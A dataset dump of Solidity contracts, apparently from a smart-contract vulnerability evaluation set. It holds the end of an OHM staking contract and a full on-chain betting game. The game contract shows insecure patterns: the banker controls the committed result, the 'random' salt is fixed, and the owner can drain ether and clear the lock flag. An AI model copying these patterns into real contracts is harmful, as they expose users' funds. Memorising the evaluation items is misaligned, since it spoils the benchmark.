IERC20(OHM).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IsOHM(sOHM).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sOHM).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IsOHM(sOHM).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IsOHM(sOHM).balanceForGons(info.gons));
IERC20(OHM).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sOHM).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(OHM).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IsOHM(sOHM).index();
}
function rebase() public {
if(epoch.endBlock <= block.number) {
IsOHM(sOHM).rebase(epoch.distribute, epoch.number);
epoch.endBlock = epoch.endBlock.add(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsOHM(sOHM).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(OHM).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sOHM).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sOHM).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 74,154 | 13,698 |
8cd7e55d18a2f8ae224a282d1bdee37e77395296e2a3b04a08e0807d2eb3f27b
| 17,445 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x56c95c0a4e3c667e30ef383dcaffa7d35b64e20a.sol
| 4,345 | 17,232 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface IDonQuixoteToken{
function withhold(address _user, uint256 _amount) external returns (bool _result);
function transfer(address _to, uint256 _value) external;
function sendGameGift(address _player) external returns (bool _result);
function logPlaying(address _player) external returns (bool _result);
function balanceOf(address _user) constant external returns (uint256 _balance);
}
contract BaseGame {
string public gameName="BigOrSmall";
uint public constant gameType = 2001;
string public officialGameUrl;
mapping (address => uint256) public userTokenOf;
uint public bankerBeginTime;
uint public bankerEndTime;
address public currentBanker;
function depositToken(uint256 _amount) public;
function withdrawToken(uint256 _amount) public;
function withdrawAllToken() public;
function setBanker(address _banker, uint256 _beginTime, uint256 _endTime) public returns(bool _result);
function canSetBanker() view public returns (bool _result);
}
contract Base is BaseGame {
using SafeMath for uint256;
uint public createTime = now;
address public owner;
IDonQuixoteToken public DonQuixoteToken;
function Base() public {
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function setOwner(address _newOwner) public onlyOwner {
require(_newOwner!= 0x0);
owner = _newOwner;
}
bool public globalLocked = false;
function lock() internal {
require(!globalLocked);
globalLocked = true;
}
function unLock() internal {
require(globalLocked);
globalLocked = false;
}
function setLock() public onlyOwner{
globalLocked = false;
}
function tokenOf(address _user) view public returns(uint256 _result){
_result = DonQuixoteToken.balanceOf(_user);
}
function depositToken(uint256 _amount) public {
lock();
_depositToken(msg.sender, _amount);
unLock();
}
function _depositToken(address _to, uint256 _amount) internal {
require(_to != 0x0);
DonQuixoteToken.withhold(_to, _amount);
userTokenOf[_to] = userTokenOf[_to].add(_amount);
}
function withdrawAllToken() public{
uint256 _amount = userTokenOf[msg.sender];
withdrawToken(_amount);
}
function withdrawToken(uint256 _amount) public {
lock();
_withdrawToken(msg.sender, _amount);
unLock();
}
function _withdrawToken(address _to, uint256 _amount) internal {
require(_to != 0x0);
userTokenOf[_to] = userTokenOf[_to].sub(_amount);
DonQuixoteToken.transfer(_to, _amount);
}
uint public currentEventId = 1;
function getEventId() internal returns(uint _result) {
_result = currentEventId;
currentEventId ++;
}
function setOfficialGameUrl(string _newOfficialGameUrl) public onlyOwner{
officialGameUrl = _newOfficialGameUrl;
}
}
contract SelectOne is Base
{
uint public constant minNum = 1;
uint public maxNum = 22;
uint public winMultiplePer = 90;
uint public constant maxPlayerNum = 100;
uint public gameTime;
uint256 public gameMaxBetAmount;
uint256 public gameMinBetAmount;
function SelectOne(uint _maxNum, uint _gameTime, uint256 _gameMinBetAmount, uint256 _gameMaxBetAmount,uint _winMultiplePer, string _gameName,address _DonQuixoteToken) public {
require(_gameMinBetAmount >= 0);
require(_gameMaxBetAmount > 0);
require(_gameMaxBetAmount >= _gameMinBetAmount);
require(_maxNum < 10000);
require(1 < _maxNum);
require(_winMultiplePer < _maxNum.mul(100));
gameMinBetAmount = _gameMinBetAmount;
gameMaxBetAmount = _gameMaxBetAmount;
gameTime = _gameTime;
maxNum = _maxNum;
winMultiplePer = _winMultiplePer;
owner = msg.sender;
gameName = _gameName;
require(_DonQuixoteToken != 0x0);
DonQuixoteToken = IDonQuixoteToken(_DonQuixoteToken);
}
uint public lastBlockNumber = 0;
bool public betInfoIsLocked = false;
address public auction;
function setAuction(address _newAuction) public onlyOwner{
require(_newAuction != 0x0);
auction = _newAuction;
}
modifier onlyAuction {
require(msg.sender == auction);
_;
}
function canSetBanker() public view returns (bool _result){
_result = bankerEndTime <= now && gameOver;
}
modifier onlyBanker {
require(msg.sender == currentBanker);
require(bankerBeginTime <= now);
require(now < bankerEndTime);
_;
}
event OnSetNewBanker(address _caller, address _banker, uint _beginTime, uint _endTime, uint _code, uint _eventTime, uint eventId);
function setBanker(address _banker, uint _beginTime, uint _endTime) public onlyAuction returns(bool _result)
{
_result = false;
require(_banker != 0x0);
if(now < bankerEndTime){
emit OnSetNewBanker(msg.sender, _banker, _beginTime, _endTime, 1, now, getEventId());
return;
}
if(!gameOver){
emit OnSetNewBanker(msg.sender, _banker, _beginTime, _endTime, 2, now, getEventId());
return;
}
if(_beginTime > now){
emit OnSetNewBanker(msg.sender, _banker, _beginTime, _endTime, 3, now, getEventId());
return;
}
if(_endTime <= now){
emit OnSetNewBanker(msg.sender, _banker, _beginTime, _endTime, 4, now, getEventId());
return;
}
if(now < donGameGiftLineTime){
DonQuixoteToken.logPlaying(_banker);
}
currentBanker = _banker;
bankerBeginTime = _beginTime;
bankerEndTime = _endTime;
emit OnSetNewBanker(msg.sender, _banker, _beginTime, _endTime, 0 , now, getEventId());
_result = true;
}
uint public playNo = 1;
uint public gameID = 0;
uint public gameBeginPlayNo;
uint public gameEndPlayNo;
bytes32 public gameEncryptedText;
uint public gameResult;
string public gameRandon1;
string public constant gameRandon2 = 'ChinasNewGovernmentBracesforTrump';
uint public gameBeginTime;
uint public gameEndTime;
bool public gameOver = true;
uint public donGameGiftLineTime = now.add(90 days);
event OnNewGame(uint _gameID, address _banker, bytes32 _gameEncryptedText, uint _gameBeginTime, uint _gameEndTime, uint _eventTime, uint _eventId);
function newGame(bytes32 _gameEncryptedText) public onlyBanker returns(bool _result)
{
_result = _newGame(_gameEncryptedText);
}
function _newGame(bytes32 _gameEncryptedText) private returns(bool _result)
{
_result = false;
require(gameOver);
require(bankerBeginTime < now);
require(now.add(gameTime) <= bankerEndTime);
gameID++;
currentBanker = msg.sender;
gameEncryptedText = _gameEncryptedText;
gameRandon1 = '';
gameBeginTime = now;
gameEndTime = now.add(gameTime);
gameBeginPlayNo = playNo;
gameEndPlayNo = 0;
gameResult = 0;
gameOver = false;
emit OnNewGame(gameID, msg.sender, _gameEncryptedText, now, now.add(gameTime), now, getEventId());
_result = true;
}
struct betInfo
{
address Player;
uint BetNum;
uint256 BetAmount;
bool IsReturnAward;
}
mapping (uint => betInfo) public playerBetInfoOf;
event OnPlay(uint indexed _gameID, address indexed _player, uint _betNum, uint256 _betAmount, uint _playNo, uint _eventTime, uint _eventId);
function play(uint _betNum, uint256 _betAmount) public returns(bool _result){
_result = _play(_betNum, _betAmount);
}
function _play(uint _betNum, uint256 _betAmount) private returns(bool _result){
_result = false;
require(!gameOver);
require(!betInfoIsLocked);
require(now < gameEndTime);
require(playNo.sub(gameBeginPlayNo) <= maxPlayerNum);
require(minNum <= _betNum && _betNum <= maxNum);
require(msg.sender != currentBanker);
uint256 ba = _betAmount;
if (ba > gameMaxBetAmount){
ba = gameMaxBetAmount;
}
require(ba >= gameMinBetAmount);
if(userTokenOf[msg.sender] < ba){
depositToken(ba.sub(userTokenOf[msg.sender]));
}
require(userTokenOf[msg.sender] >= ba);
uint256 BankerAmount = ba.mul(winMultiplePer).div(100);
require(userTokenOf[currentBanker] >= BankerAmount);
betInfo memory bi = betInfo({
Player : msg.sender,
BetNum : _betNum,
BetAmount : ba,
IsReturnAward: false
});
playerBetInfoOf[playNo] = bi;
userTokenOf[msg.sender] = userTokenOf[msg.sender].sub(ba);
userTokenOf[currentBanker] = userTokenOf[currentBanker].sub(BankerAmount);
userTokenOf[this] = userTokenOf[this].add(ba.add(BankerAmount));
emit OnPlay(gameID, msg.sender, _betNum, ba, playNo, now, getEventId());
lastBlockNumber = block.number;
playNo++;
if(now < donGameGiftLineTime){
DonQuixoteToken.logPlaying(msg.sender);
}
_result = true;
}
function lockBetInfo() public onlyBanker returns (bool _result) {
require(!gameOver);
require(now < gameEndTime);
require(!betInfoIsLocked);
betInfoIsLocked = true;
_result = true;
}
function uint8ToString(uint v) private pure returns (string)
{
uint maxlength = 8;
bytes memory reversed = new bytes(maxlength);
uint i = 0;
while (v != 0) {
uint remainder = v % 10;
v = v.div(10);
reversed[i++] = byte(remainder.add(48));
}
bytes memory s = new bytes(i);
for (uint j = 0; j < i; j++) {
s[j] = reversed[(i.sub(j)).sub(1)];
}
string memory str = string(s);
return str;
}
event OnOpenGameResult(uint indexed _gameID, address _banker, uint _gameResult, string _r1, bool _result, uint _code, uint _eventTime, uint eventId);
function openGameResult(uint _gameResult, string _r1) public onlyBanker returns(bool _result){
_result = _openGameResult(_gameResult, _r1);
}
function _openGameResult(uint _gameResult, string _r1) private returns(bool _result){
_result = false;
require(betInfoIsLocked);
require(!gameOver);
require(now <= gameEndTime);
if(lastBlockNumber == block.number){
emit OnOpenGameResult(gameID, msg.sender, _gameResult, _r1, false, 2, now, getEventId());
return;
}
string memory gr = uint8ToString(_gameResult);
if(keccak256(gr, gameRandon2, _r1) == gameEncryptedText){
if(_gameResult >= minNum && _gameResult <= maxNum){
gameResult = _gameResult;
gameRandon1 = _r1;
gameEndPlayNo = playNo.sub(1);
for(uint i = gameBeginPlayNo; i < playNo; i++){
betInfo storage p = playerBetInfoOf[i];
if(!p.IsReturnAward){
p.IsReturnAward = true;
uint256 AllAmount = p.BetAmount.mul(winMultiplePer.add(100)).div(100);
if(p.BetNum == _gameResult){
userTokenOf[p.Player] = userTokenOf[p.Player].add(AllAmount);
userTokenOf[this] = userTokenOf[this].sub(AllAmount);
}else{
userTokenOf[currentBanker] = userTokenOf[currentBanker].add(AllAmount);
userTokenOf[this] = userTokenOf[this].sub(AllAmount);
if(now < donGameGiftLineTime){
DonQuixoteToken.sendGameGift(p.Player);
}
}
}
}
gameOver = true;
betInfoIsLocked = false;
emit OnOpenGameResult(gameID, msg.sender, _gameResult, _r1, true, 0, now, getEventId());
_result = true;
return;
}else{
emit OnOpenGameResult(gameID, msg.sender, _gameResult, _r1, false, 3, now, getEventId());
return;
}
}else{
emit OnOpenGameResult(gameID, msg.sender, _gameResult, _r1, false,4, now, getEventId());
return;
}
}
function openGameResultAndNewGame(uint _gameResult, string _r1, bytes32 _gameEncryptedText) public onlyBanker returns(bool _result){
if(gameOver){
_result = true ;
}else{
_result = _openGameResult(_gameResult, _r1);
}
if (_result){
_result = _newGame(_gameEncryptedText);
}
}
function noOpenGameResult() public returns(bool _result){
_result = false;
require(!gameOver);
require(gameEndTime < now);
if(lastBlockNumber == block.number){
emit OnOpenGameResult(gameID, msg.sender,0, '',false, 2, now, getEventId());
return;
}
lock();
gameEndPlayNo = playNo - 1;
for(uint i = gameBeginPlayNo; i < playNo; i++){
betInfo storage p = playerBetInfoOf[i];
if(!p.IsReturnAward){
p.IsReturnAward = true;
uint256 AllAmount = p.BetAmount.mul(winMultiplePer.add(100)).div(100);
userTokenOf[p.Player] = userTokenOf[p.Player].add(AllAmount);
userTokenOf[this] = userTokenOf[this].sub(AllAmount);
}
}
gameOver = true;
if(betInfoIsLocked){
betInfoIsLocked = false;
}
emit OnOpenGameResult(gameID, msg.sender, 0, '', true, 1, now, getEventId());
_result = true;
unLock();
}
function failUserRefund(uint _playNo) public returns (bool _result) {
_result = false;
require(!gameOver);
require(gameEndTime.add(30 days) < now);
betInfo storage p = playerBetInfoOf[_playNo];
require(p.Player == msg.sender);
if(!p.IsReturnAward && p.BetNum > 0){
p.IsReturnAward = true;
uint256 ToUser = p.BetAmount;
uint256 ToBanker = p.BetAmount.mul(winMultiplePer).div(100);
userTokenOf[this] = userTokenOf[this].sub(ToUser.add(ToBanker));
userTokenOf[p.Player] = userTokenOf[p.Player].add(ToUser);
userTokenOf[currentBanker] = userTokenOf[currentBanker].add(ToBanker);
_result = true;
}
}
function transEther() public onlyOwner()
{
msg.sender.transfer(address(this).balance);
}
function () public payable {
}
}
| 197,512 | 13,699 |
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